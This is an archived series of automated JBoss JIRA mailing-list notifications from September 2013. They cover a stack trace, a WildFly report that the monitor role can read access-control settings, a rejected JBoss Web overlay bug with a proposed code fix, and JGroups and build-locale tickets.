> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorRequired.intercept(TransactionalInterceptorRequired.java:52) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]
> 	at sun.reflect.GeneratedMethodAccessor203.invoke(Unknown Source) [:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:93) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:78) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception(InterceptorMethodHandler.java:48) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke(InterceptorMethodHandler.java:41) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke(CombinedInterceptorAndDecoratorStackMethodHandler.java:53) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at de.shop.kundenverwaltung.rest.KundeResource$Proxy$_$$_WeldSubclass.createKunde(Unknown Source) [classes:]
> 	at de.shop.kundenverwaltung.rest.KundeResource$Proxy$_$$_WeldClientProxy.createKunde(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.resteasy.core.MethodInjectorImpl.invoke(MethodInjectorImpl.java:137) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.ResourceMethodInvoker.invokeOnTarget(ResourceMethodInvoker.java:280) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:234) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:221) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.SynchronousDispatcher.invoke(SynchronousDispatcher.java:356) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	... 37 more
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 06:53:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 2 Sep 2013 06:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1980) Revisit priviledges for
 /core-service=management/access=authorization
In-Reply-To: <JIRA.12499752.1378119170811@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499752.1378119170811@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499752.1378119170811.4100.1378119183508@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-1980:
---------------------------------

             Summary: Revisit priviledges for /core-service=management/access=authorization
                 Key: WFLY-1980
                 URL: https://issues.jboss.org/browse/WFLY-1980
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry


It seems the access control resources (/core-service=management/access=authorization) are addressable by the monitor role:

{noformat}
[standalone at localhost:9990 /] /core-service=management/access=authorization:read-resource(){roles=monitor}
{
    "outcome" => "success",
    "result" => {
        "provider" => "simple",
        "use-realm-roles" => false,
        "constraint" => {
            "application-classification" => undefined,
            "sensitivity-classification" => undefined,
            "vault-expression" => undefined
        },
        "role-mapping" => {"SuperUser" => undefined}
    }
}
{noformat}


I think it should be 'addressable=false' for anybody except SuperUser and Administrator

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 06:57:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 2 Sep 2013 06:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1980) Revisit priviledges for
 /core-service=management/access=authorization
In-Reply-To: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499752.1378119170000.4104.1378119423456@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1980?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800873#comment-12800873 ] 

Heiko Braun commented on WFLY-1980:
-----------------------------------

Maybe 'readable=false' is the right priviledge setup
                
> Revisit priviledges for /core-service=management/access=authorization
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1980
>                 URL: https://issues.jboss.org/browse/WFLY-1980
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> It seems the access control resources (/core-service=management/access=authorization) are addressable by the monitor role:
> {noformat}
> [standalone at localhost:9990 /] /core-service=management/access=authorization:read-resource(){roles=monitor}
> {
>     "outcome" => "success",
>     "result" => {
>         "provider" => "simple",
>         "use-realm-roles" => false,
>         "constraint" => {
>             "application-classification" => undefined,
>             "sensitivity-classification" => undefined,
>             "vault-expression" => undefined
>         },
>         "role-mapping" => {"SuperUser" => undefined}
>     }
> }
> {noformat}
> I think it should be 'addressable=false' for anybody except SuperUser and Administrator

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 08:29:03 2013
From: jira-events at lists.jboss.org (Tom Fonteyne (JIRA))
Date: Mon, 2 Sep 2013 08:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4203.1378124943484@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tom Fonteyne reopened JBWEB-279:
--------------------------------



The overlay functionality has nothing to do with the servlet spec. The overlay mechanism provides an extra, JBoss specific, feature

Hence re-opening as "overlay" as currently defined and support through jboss-web.xml is not working
                
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: overlay.patch
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 08:33:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 2 Sep 2013 08:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1685) Remove UNICAST(1, 2),
	NAKACK protocols
In-Reply-To: <JIRA.12499759.1378125090224@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499759.1378125090224@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499759.1378125090224.4206.1378125183410@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1685:
------------------------------

             Summary: Remove UNICAST(1,2), NAKACK protocols
                 Key: JGRP-1685
                 URL: https://issues.jboss.org/browse/JGRP-1685
             Project: JGroups
          Issue Type: Task
            Reporter: Bela Ban
            Assignee: Bela Ban
             Fix For: 4.0


Remove older versions of some protocols, e.g.
* Remove UNICAST and UNICAST2, and rename UNICAST3 --> UNICAST
* Remove NAKACK and rename NAKACK2 --> NAKACK
* Remove MERGE and rename MERGE2 --> MERGE

What about RELAY2, Timescheduler2, FRAG2 ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 08:33:03 2013
From: jira-events at lists.jboss.org (Tom Fonteyne (JIRA))
Date: Mon, 2 Sep 2013 08:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4210.1378125183672@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800892#comment-12800892 ] 

Tom Fonteyne commented on JBWEB-279:
------------------------------------

Fix proposal:

Here is how the code *should* look like in my opinion:

src/main/java/org/apache/naming/resources/ProxyDirContext.java 


1701         // Retrieve missing info
1702         boolean foundOriginal = false;

1704         // Retrieving attributes
1705         if (entry.attributes == null) {
1706             try {
1707                 Attributes attributes = currentContext.getAttributes(entry.name);
1708                 if (!(attributes instanceof ResourceAttributes)) {
1709                     entry.attributes =
1710                         new ResourceAttributes(attributes);
1711                 } else {
1712                     entry.attributes = (ResourceAttributes) attributes;
1713                 }
                         foundOriginal = true
1714             } catch (NamingException e) {
1715                 // Ignore
1716             }
1717         }
1718
             boolean foundOverlay = false;

1719         // Check overlays
1720         if (overlays != null) {
1721             for (int i = 0; (i < overlays.length) && !foundOverlay; i++) {
1722                 try {
1723                     Attributes attributes = overlays[i].getAttributes(entry.name);
1724                     if (!(attributes instanceof ResourceAttributes)) {
1725                         entry.attributes =
1726                             new ResourceAttributes(attributes);
1727                     } else {
1728                         entry.attributes = (ResourceAttributes) attributes;
1729                     }
1730                     currentContext = overlays[i];
1731                     foundOverlay = true;
1732                 } catch (NamingException e) {
1733                     // Ignore
1734                 }
1735             }
1736         }
1737
             boolean exists = foundOriginal || foundOverlay;

1738         // Retriving object
1739         if ((exists) && (entry.resource == null) && (entry.context == null)) { 
                
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: overlay.patch
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 08:37:04 2013
From: jira-events at lists.jboss.org (Tom Fonteyne (JIRA))
Date: Mon, 2 Sep 2013 08:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4217.1378125424000@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800892#comment-12800892 ] 

Tom Fonteyne edited comment on JBWEB-279 at 9/2/13 8:35 AM:
------------------------------------------------------------

Fix proposal:

Here is how the code *should* look like in my opinion:

src/main/java/org/apache/naming/resources/ProxyDirContext.java 


copy/paste of code gets garbled up, will add attachement
                
      was (Author: tfonteyn):
    Fix proposal:

Here is how the code *should* look like in my opinion:

src/main/java/org/apache/naming/resources/ProxyDirContext.java 


1701         // Retrieve missing info
1702         boolean foundOriginal = false;

1704         // Retrieving attributes
1705         if (entry.attributes == null) {
1706             try {
1707                 Attributes attributes = currentContext.getAttributes(entry.name);
1708                 if (!(attributes instanceof ResourceAttributes)) {
1709                     entry.attributes =
1710                         new ResourceAttributes(attributes);
1711                 } else {
1712                     entry.attributes = (ResourceAttributes) attributes;
1713                 }
                         foundOriginal = true
1714             } catch (NamingException e) {
1715                 // Ignore
1716             }
1717         }
1718
             boolean foundOverlay = false;

1719         // Check overlays
1720         if (overlays != null) {
1721             for (int i = 0; (i < overlays.length) && !foundOverlay; i++) {
1722                 try {
1723                     Attributes attributes = overlays[i].getAttributes(entry.name);
1724                     if (!(attributes instanceof ResourceAttributes)) {
1725                         entry.attributes =
1726                             new ResourceAttributes(attributes);
1727                     } else {
1728                         entry.attributes = (ResourceAttributes) attributes;
1729                     }
1730                     currentContext = overlays[i];
1731                     foundOverlay = true;
1732                 } catch (NamingException e) {
1733                     // Ignore
1734                 }
1735             }
1736         }
1737
             boolean exists = foundOriginal || foundOverlay;

1738         // Retriving object
1739         if ((exists) && (entry.resource == null) && (entry.context == null)) { 
                  
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt, overlay.patch
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 08:37:04 2013
From: jira-events at lists.jboss.org (Tom Fonteyne (JIRA))
Date: Mon, 2 Sep 2013 08:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4221.1378125424207@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tom Fonteyne updated JBWEB-279:
-------------------------------

    Attachment: fix.proposal.txt

    
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt, overlay.patch
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 08:39:03 2013
From: jira-events at lists.jboss.org (Tom Fonteyne (JIRA))
Date: Mon, 2 Sep 2013 08:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4234.1378125543737@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tom Fonteyne updated JBWEB-279:
-------------------------------

    Attachment:     (was: overlay.patch)

    
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:11:03 2013
From: jira-events at lists.jboss.org (Remy Maucherat (JIRA))
Date: Mon, 2 Sep 2013 09:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4360.1378127463622@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Remy Maucherat resolved JBWEB-279.
----------------------------------

    Resolution: Rejected


This code is the implementation for the specification /META-INF/resources mechanism. As a result, it must follow the specification's behavior. I'm sorry, but there is little way around that.
                
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:21:03 2013
From: jira-events at lists.jboss.org (Mustafa Musaji (JIRA))
Date: Mon, 2 Sep 2013 09:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4368.1378128063625@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800911#comment-12800911 ] 

Mustafa Musaji commented on JBWEB-279:
--------------------------------------

[~rmaucher] I don't think overlays has anything to do with the spec. This is when you are a deploy to JBoss and yes we should follow the spec to look for resources as stated in your first comment. In addition to the spec, we allow overlays to be included and this is as [~tfonteyn] points out, is a JBoss specific feature. With the overlays we blatently do one thing via CLI and another thing with jboss-web.xml.


                
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:21:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 09:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1650) Legacy subsystem testing
 needs some classloading exclusion mecanism
In-Reply-To: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495799.1373019038000.4372.1378128063809@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1650?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1650:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=980923

    
> Legacy subsystem testing needs some classloading exclusion mecanism
> -------------------------------------------------------------------
>
>                 Key: WFLY-1650
>                 URL: https://issues.jboss.org/browse/WFLY-1650
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging, Test Suite
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When translation messages are used (which is the case of EAP) we have conflicts between generated $logger classes when testing submodules.
> Some $logger classes exis thus they are loaded by the parent classloader before the childfirstclassloader tries to load them, thus we have a potential ClassCastException brewing. 
> For exemple this breaks the EAP build on a French OS.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:23:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 09:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1868) Enable build on non en_US
	locale machine
In-Reply-To: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498468.1376385973000.4376.1378128183337@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1868?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1868:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1003603

    
> Enable build  on non en_US locale machine
> -----------------------------------------
>
>                 Key: WFLY-1868
>                 URL: https://issues.jboss.org/browse/WFLY-1868
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:32:03 2013
From: jira-events at lists.jboss.org (Mustafa Musaji (JIRA))
Date: Mon, 2 Sep 2013 09:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4402.1378128723729@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mustafa Musaji reopened JBWEB-279:
----------------------------------


    
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:39:03 2013
From: jira-events at lists.jboss.org (Remy Maucherat (JIRA))
Date: Mon, 2 Sep 2013 09:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-279) Overlays do not work as
	expected
In-Reply-To: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499426.1377602799000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499426.1377602799000.4409.1378129143475@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-279?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800914#comment-12800914 ] 

Remy Maucherat commented on JBWEB-279:
--------------------------------------

I thought my sentence was clear enough: "This code is the implementation for the specification /META-INF/resources mechanism. As a result, it must follow the specification's behavior. I'm sorry, but there is little way around that."

This is not the implementation for a JBoss specific feature, this is the specifcation standard feature. The xml configuration allows specifying a JAR as if it was included directly in the WAR itself. AS added at some point another feature called "overlay", which is not the same thing (here, it is a proprietary feature unrelated to any EE spefication).

So, well, have fun with the JIRA, but this is a "bug" that will not be fixed.
                
> Overlays do not work as expected
> --------------------------------
>
>                 Key: JBWEB-279
>                 URL: https://issues.jboss.org/browse/JBWEB-279
>             Project: JBoss Web
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Core
>    Affects Versions: JBossWeb-7.2.1.GA
>            Reporter: Mustafa Musaji
>            Assignee: Remy Maucherat
>         Attachments: fix.proposal.txt
>
>
> It is expected that the <overlay> element in jboss-web.xml has the same outcome as the overlay feature in the CLI: https://docs.jboss.org/author/display/AS72/Deployment+Overlays
> In jboss-web.xml the overlays element is not used to actually overlay existing files but to add files to a deployment. This is confusing and either this should work the same as the CLI or the documentation around the <overlay> element in jboss-web.xml should clearly state this is not the case and that we do not replace artifacts but rather 
> Attached is a proposed patch that fixes this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 09:42:03 2013
